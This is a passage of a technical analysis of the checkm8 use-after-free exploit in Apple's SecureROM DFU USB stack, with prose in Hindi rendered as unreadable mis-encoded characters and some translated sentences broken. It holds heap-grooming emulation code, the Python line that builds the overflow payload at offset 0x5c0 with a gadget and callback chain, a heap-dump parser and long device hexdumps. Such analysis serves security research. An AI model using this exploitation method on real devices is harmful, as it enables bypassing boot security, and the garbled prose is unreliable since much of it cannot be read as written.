рдЪреБрдирд┐рдВрджрд╛ usb_core_send_zlp() рдХреЛ рдХреНрд░рд┐рдпрд╛рдиреНрд╡рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдХрддрд╛рд░ рд╕реЗ рдЧреБрдЬрд░рдиреЗ рдФрд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдореБрдХреНрдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо use-after-free рдХреЗ рд╢реЛрд╖рдг рдХреЗ рд▓рд┐рдП рдвреЗрд░ рдкрд░ рдкрд░реНрдпрд╛рдкреНрдд рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ use-after-free ред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдЖрдЗрдП рдЕрдиреБрд░реЛрдз рд╕рдлрд╛рдИ рд▓реВрдк рджреЗрдЦреЗрдВ:



рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдХрддрд╛рд░ рдХреЛ рдЦрд╛рд▓реА рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рд░рджреНрдж рдХрд┐рдП рдЧрдП рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ usb_core_complete_endpoint_io рджреНрд╡рд╛рд░рд╛ рдЪрд▓рд╛рдпрд╛ рдФрд░ рдкреВрд░рд╛ рдХрд┐рдпрд╛ usb_core_complete_endpoint_io ред usb_core_send_zlp рджреНрд╡рд╛рд░рд╛ рдЖрд╡рдВрдЯрд┐рдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ ep->io_head рдореЗрдВ рд░рдЦрд╛ рдЧрдпрд╛ рд╣реИред USB рд░реАрд╕реЗрдЯ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рд╕рдорд╛рдкрди рдмрд┐рдВрджреБ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЬрд╛рдПрдЧреА, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрдХреЗрдд io_head рдФрд░ io_tail , рдФрд░ рд╢реВрдиреНрдп-рд▓рдВрдмрд╛рдИ рдЕрдиреБрд░реЛрдз рдвреЗрд░ рдореЗрдВ рд░рд╣реЗрдЧрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдвреЗрд░ рдХреЗ рдмреАрдЪ рдПрдХ рдЫреЛрдЯрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдиреАрдЪреЗ рджреА рдЧрдИ рдпреЛрдЬрдирд╛ рдмрддрд╛рддреА рд╣реИ рдХрд┐ рдпрд╣ рдХреИрд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:



SecureROM рдХреЗ рдвреЗрд░ рдореЗрдВ, рдПрдХ рдирдпрд╛ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рд╕рдмрд╕реЗ рдЫреЛрдЯрд╛ рдЙрдЪрд┐рдд рдореБрдХреНрдд рдЪрдВрдХ рд╕реЗ рдЖрд╡рдВрдЯрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдКрдкрд░ рд╡рд░реНрдгрд┐рдд рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЫреЛрдЯрд╛ рд╕рд╛ рдореБрдлреНрдд рд╣рд┐рд╕реНрд╕рд╛ рдмрдирд╛рдХрд░, рд╣рдо USB рдкреНрд░рд╛рд░рдВрдн рдХреЗ рджреМрд░рд╛рди рдореЗрдореЛрд░реА рдХреЗ рдЖрд╡рдВрдЯрди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ io_buffer рдФрд░ рдЕрдиреБрд░реЛрдзреЛрдВ рдХрд╛ рдЖрд╡рдВрдЯрди рд╢рд╛рдорд┐рд▓ рд╣реИред


рдЗрд╕рдХреА рдмреЗрд╣рддрд░ рд╕рдордЭ рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ DFU рдХреЗ рдЖрд░рдВрдн рд╣реЛрдиреЗ рдкрд░ рдвреЗрд░ рдХреЗ рд▓рд┐рдП рдХреМрди рд╕реЗ рдЕрдиреБрд░реЛрдз рдХрд┐рдП рдЧрдП рд╣реИрдВред SecureROM рд╕реНрд░реЛрдд рдХреЛрдб рдФрд░ SecureROM рд░рд┐рд╡рд░реНрд╕-рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди, рд╣рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрдХреНрд░рдо рдорд┐рд▓рд╛:


    1. рд╡рд┐рднрд┐рдиреНрди рд╕реНрдЯреНрд░рд┐рдВрдЧ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░ рдХрд╛ рдЖрд╡рдВрдЯрди
      • 1.1ред Nonce (рдЖрдХрд╛рд░ 234 )
      • 1.2ред Manufacturer ( 22 )
      • 1.3ред Product ( 62 )
      • 1.4ред Serial Number ( 198 )
      • 1.5ред Configuration string ( 62 )

    1. USB рдирд┐рдпрдВрддреНрд░рдХ рдХрд╛рд░реНрдп рдХреЗ рдирд┐рд░реНрдорд╛рдг рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЖрд╡рдВрдЯрди
      • 2.1ред рдХрд╛рд░реНрдп рд╕рдВрд░рдЪрдирд╛ ( 0x3c0 )
      • 2.2ред рдЯрд╛рд╕реНрдХ рд╕реНрдЯреИрдХ ( 0x1000 )

    1. io_buffer ( io_buffer )

    1. рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░
      • 4.1ред High-Speed ( 25 )
      • 4.2ред Full-Speed ( 25 )


рдлрд┐рд░, рдЕрдиреБрд░реЛрдз рд╕рдВрд░рдЪрдирд╛рдПрдВ рдЖрд╡рдВрдЯрд┐рдд рдХреА рдЬрд╛рддреА рд╣реИрдВред рдпрджрд┐ рдвреЗрд░ рдореЗрдВ рдПрдХ рдЫреЛрдЯрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ, рддреЛ рдкрд╣рд▓реА рд╢реНрд░реЗрдгреА рдХреЗ рдХреБрдЫ рдЖрд╡рдВрдЯрди рд╡рд╣рд╛рдВ рдЬрд╛рдПрдВрдЧреЗ, рдФрд░ рдЕрдиреНрдп рд╕рднреА рдЖрд╡рдВрдЯрди рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдкреБрд░рд╛рдиреЗ рдмрдлрд╝рд░ рдХрд╛ рд╕рдВрджрд░реНрдн usb_device_io_request рдХреЛ рдУрд╡рд░рдлреНрд▓реЛ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗред рдпрд╣ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:



рдЖрд╡рд╢реНрдпрдХ рдСрдлрд╕реЗрдЯ рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ рдмрд╕ рдКрдкрд░ рд╕реВрдЪреАрдмрджреНрдз рд╕рднреА рдЖрд╡рдВрдЯрди рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд┐рдпрд╛ рдФрд░ iBoot рд╣реАрдк рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рдереЛрдбрд╝рд╛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд┐рдпрд╛ред


DFU рдореЗрдВ рдвреЗрд░ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд╛ рдЕрдиреБрдХрд░рдг
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

heap feng-shui рдЪрд░рдг рдореЗрдВ 8 рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рд░реНрдпрдХреНрд░рдо рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ:


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдкрд┐рдЫрд▓реЗ рдмрдлрд░ рдХреА рд╢реБрд░реБрдЖрдд рд╕реЗ 0x5c0 рдХреА рдСрдлрд╕реЗрдЯ рдкрд░ рдПрдХ рдФрд░ usb_device_io_request рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛, рдЬреЛ рд╢реЛрд╖рдг рдХреЛрдб рд╕реЗ рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИ:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

рдЖрдк SecureRAM рдвреЗрд░ рдХреА рд╡рд░реНрддрдорд╛рди рд╕реНрдерд┐рддрд┐ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдХреЗ рдЗрди рдирд┐рд╖реНрдХрд░реНрд╖реЛрдВ рдХреА рд╡реИрдзрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рд╣рдореЗрдВ checkm8 рд╕рд╛рде рдорд┐рд▓рд╛ checkm8 ред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП, рд╣рдордиреЗ рдПрдХ рд╕рд░рд▓ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреА рдЬреЛ рдвреЗрд░ рдХреЗ рдбрдВрдк рдХреЛ рдкрд╛рд░реНрд╕ рдХрд░рддреА рд╣реИ рдФрд░ рдЪрдВрдХреНрд╕ рдХреЛ рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░рддреА рд╣реИред рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ usb_device_io_request рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рдХреЗ рджреМрд░рд╛рди, рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдХреНрд╖рддрд┐рдЧреНрд░рд╕реНрдд рд╣реЛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рд╣рдо рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рджреМрд░рд╛рди рдЗрд╕реЗ рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВред


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): # skipping damaged chunks this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рд╕реНрдкреЙрдЗрд▓рд░ рдХреЗ рдиреАрдЪреЗ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрдо рдСрд░реНрдбрд░ рдмрд╛рдЗрдЯреНрд╕ рдЕрдиреБрдХрд░рдг рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рд╕реЗ рдореЗрд▓ рдЦрд╛рддреА рд╣реИрдВред


SecureRAM рдореЗрдВ рдвреЗрд░ рдкрд╛рд░реНрд╕ рдХрд░рдиреЗ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реИ
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 